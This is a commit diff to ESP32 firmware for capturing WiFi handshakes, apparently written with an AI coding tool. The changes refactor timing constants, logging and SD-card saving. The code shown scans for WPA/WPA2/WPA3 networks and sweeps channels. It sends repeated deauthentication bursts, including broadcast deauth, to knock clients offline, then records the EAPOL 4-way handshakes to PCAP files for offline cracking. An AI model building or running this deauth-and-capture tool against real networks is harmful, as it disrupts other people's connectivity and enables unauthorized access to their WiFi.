handshake-capture-c6: SPI bus lock, SD v1.0.2 diagnostics, MUST_DO review
- SPI_Bus_Lock: serialize LCD + SD on shared SPI; pause display during SD - SD_Init after WiFi scan; SD_IsReady gating; serial [SD]/[CAP] diagnostics - MUST_DO_IMPROVEMENTS.md full firmware review backlog; README link - Bump HANDSHAKE_FIRMWARE_VERSION to 1.0.2 (header) Made-with: Cursor
This commit is contained in:
@@ -4,11 +4,6 @@
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
// Set 0 to use STA-only (test deauth + promiscuous on your core first).
|
||||
#ifndef USE_SOFTAP
|
||||
#define USE_SOFTAP 1
|
||||
#endif
|
||||
|
||||
// ─── Internal prototypes ───
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
@@ -33,18 +28,10 @@ CapturePhase capturePhase = PHASE_OBSERVING;
|
||||
|
||||
// ─── Phase timing ───
|
||||
|
||||
// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time.
|
||||
#define OBSERVE_DURATION_MS 8000
|
||||
#define CAPTURE_TIMEOUT_MS 20000
|
||||
#define DEAUTH_BURST_COUNT 5
|
||||
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||||
#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit
|
||||
#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts
|
||||
#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots
|
||||
// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).
|
||||
|
||||
static unsigned long phase_timer = 0;
|
||||
// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES).
|
||||
// Counts completed observe windows that led to a deauth burst (1..HANDSHAKE_MAX_OBSERVE_CYCLES).
|
||||
static uint8_t deauth_cycle_count = 0;
|
||||
static int last_channel = 0;
|
||||
|
||||
@@ -146,7 +133,7 @@ void handshakeCaptureProcessPending() {
|
||||
SD_Init();
|
||||
}
|
||||
if (!SD_IsReady()) {
|
||||
Serial.println("SD not ready — discarding pending PCAP");
|
||||
HANDSHAKE_LOGLN("SD not ready — discarding pending PCAP");
|
||||
Ui_SetWifiStatus("SD: insert card");
|
||||
discardSlotCapture(s, i);
|
||||
continue;
|
||||
@@ -162,21 +149,13 @@ void handshakeCaptureProcessPending() {
|
||||
filename.replace(" ", "_");
|
||||
sanitizeFilenameForFat(filename);
|
||||
|
||||
File file = SD.open(filename.c_str(), FILE_WRITE);
|
||||
bool ok = false;
|
||||
if (file) {
|
||||
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
|
||||
Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("4-way saved!");
|
||||
ok = true;
|
||||
} else {
|
||||
Serial.println("SD write failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD write err");
|
||||
}
|
||||
file.close();
|
||||
bool ok = SD_WriteFileAtomic(filename.c_str(), s->pcap_buffer, s->pcap_size);
|
||||
if (ok) {
|
||||
HANDSHAKE_LOGF("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("4-way saved!");
|
||||
} else {
|
||||
Serial.println("SD open failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD open err");
|
||||
HANDSHAKE_LOGLN("SD save failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD save err");
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
@@ -236,14 +215,22 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||
return a.rssi > b.rssi;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||
const String& enc = networks[index].encryption;
|
||||
bool isSupportedCaptureAuth(const String& enc) {
|
||||
if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
|
||||
if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool isSupportedCaptureChannel(int channel) {
|
||||
return channel >= HANDSHAKE_MIN_CHANNEL && channel <= HANDSHAKE_MAX_CHANNEL;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||
return isSupportedCaptureAuth(networks[index].encryption) &&
|
||||
isSupportedCaptureChannel(networks[index].ch);
|
||||
}
|
||||
|
||||
int getCaptureableCount() {
|
||||
int n = 0;
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
@@ -254,19 +241,23 @@ int getCaptureableCount() {
|
||||
}
|
||||
|
||||
static int getNextChannelSweep() {
|
||||
int ch_counts[15] = {0};
|
||||
int ch_counts[HANDSHAKE_MAX_CHANNEL + 1] = {0};
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||
int ch = networks[i].ch;
|
||||
if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++;
|
||||
if (isSupportedCaptureChannel(ch)) ch_counts[ch]++;
|
||||
}
|
||||
|
||||
// Simple circular sweep across channels that still have targets.
|
||||
int start = last_channel;
|
||||
for (int step = 0; step < 14; step++) {
|
||||
int ch = ((start + step) % 14) + 1;
|
||||
if (ch_counts[ch - 1] > 0) return ch;
|
||||
const int channel_count = HANDSHAKE_MAX_CHANNEL - HANDSHAKE_MIN_CHANNEL + 1;
|
||||
int start_index = 0;
|
||||
if (isSupportedCaptureChannel(last_channel)) {
|
||||
start_index = (last_channel - HANDSHAKE_MIN_CHANNEL + 1) % channel_count;
|
||||
}
|
||||
for (int step = 0; step < channel_count; step++) {
|
||||
int ch = HANDSHAKE_MIN_CHANNEL + ((start_index + step) % channel_count);
|
||||
if (ch_counts[ch] > 0) return ch;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -396,9 +387,9 @@ static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac)
|
||||
memcpy(&deauth[10], bssid, 6);
|
||||
memcpy(&deauth[16], bssid, 6);
|
||||
|
||||
for (int i = 0; i < DEAUTH_BURST_COUNT; i++) {
|
||||
for (int i = 0; i < HANDSHAKE_DEAUTH_BURST_COUNT; i++) {
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
|
||||
if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY);
|
||||
if (i < HANDSHAKE_DEAUTH_BURST_COUNT - 1) delay(HANDSHAKE_DEAUTH_BURST_DELAY_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -408,17 +399,17 @@ static void sendDeauthBurstAll() {
|
||||
if (!s->active) continue;
|
||||
|
||||
if (s->client_count > 0) {
|
||||
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||
HANDSHAKE_LOGF("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||
for (uint8_t c = 0; c < s->client_count; c++) {
|
||||
sendDeauthToClient(s->bssid, s->clients[c].mac);
|
||||
if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS);
|
||||
if (c + 1 < s->client_count) delay(HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS);
|
||||
}
|
||||
} else {
|
||||
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||
HANDSHAKE_LOGF("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
sendDeauthToClient(s->bssid, bcast);
|
||||
}
|
||||
delay(DEAUTH_GAP_AFTER_SLOT_MS);
|
||||
delay(HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -460,7 +451,7 @@ void startMultiCapture() {
|
||||
for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
|
||||
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||
HANDSHAKE_LOGF("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
@@ -488,31 +479,31 @@ void handshakeCaptureLoop() {
|
||||
|
||||
// Phase 2 → Phase 3 (transient burst) → Phase 4
|
||||
if (capturePhase == PHASE_OBSERVING) {
|
||||
if (now - phase_timer >= OBSERVE_DURATION_MS) {
|
||||
if (now - phase_timer >= HANDSHAKE_OBSERVE_DURATION_MS) {
|
||||
int total = 0;
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) {
|
||||
Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||||
HANDSHAKE_LOGF(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||||
total += slots[i].client_count;
|
||||
}
|
||||
}
|
||||
Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||||
HANDSHAKE_LOGF("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||||
|
||||
sendDeauthBurstAll();
|
||||
|
||||
capturePhase = PHASE_CAPTURING;
|
||||
phase_timer = now;
|
||||
deauth_cycle_count++;
|
||||
Serial.println("Phase 4: capturing handshakes...");
|
||||
HANDSHAKE_LOGLN("Phase 4: capturing handshakes...");
|
||||
}
|
||||
}
|
||||
|
||||
// Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
|
||||
if (capturePhase == PHASE_CAPTURING) {
|
||||
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
|
||||
if (deauth_cycle_count < MAX_OBSERVE_CYCLES) {
|
||||
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||
(int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES);
|
||||
if (now - phase_timer >= HANDSHAKE_CAPTURE_TIMEOUT_MS) {
|
||||
if (deauth_cycle_count < HANDSHAKE_MAX_OBSERVE_CYCLES) {
|
||||
HANDSHAKE_LOGF("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||
(int)deauth_cycle_count + 1, HANDSHAKE_MAX_OBSERVE_CYCLES);
|
||||
portENTER_CRITICAL(&capture_mux);
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) slots[i].client_count = 0;
|
||||
@@ -522,7 +513,7 @@ void handshakeCaptureLoop() {
|
||||
capturePhase = PHASE_OBSERVING;
|
||||
phase_timer = now;
|
||||
} else {
|
||||
Serial.println("Max observe/deauth cycles done; stopping capture on this channel.");
|
||||
HANDSHAKE_LOGLN("Max observe/deauth cycles done; stopping capture on this channel.");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
@@ -639,7 +630,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
}
|
||||
|
||||
if (is_eapol) {
|
||||
if (pcapAppendSlot(s, payload, len)) {
|
||||
if (s->eapol_count < HANDSHAKE_EAPOL_FRAMES && pcapAppendSlot(s, payload, len)) {
|
||||
s->eapol_count++;
|
||||
latest_eapol_count[hit_slot] = s->eapol_count;
|
||||
if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
|
||||
|
||||
Reference in New Issue
Block a user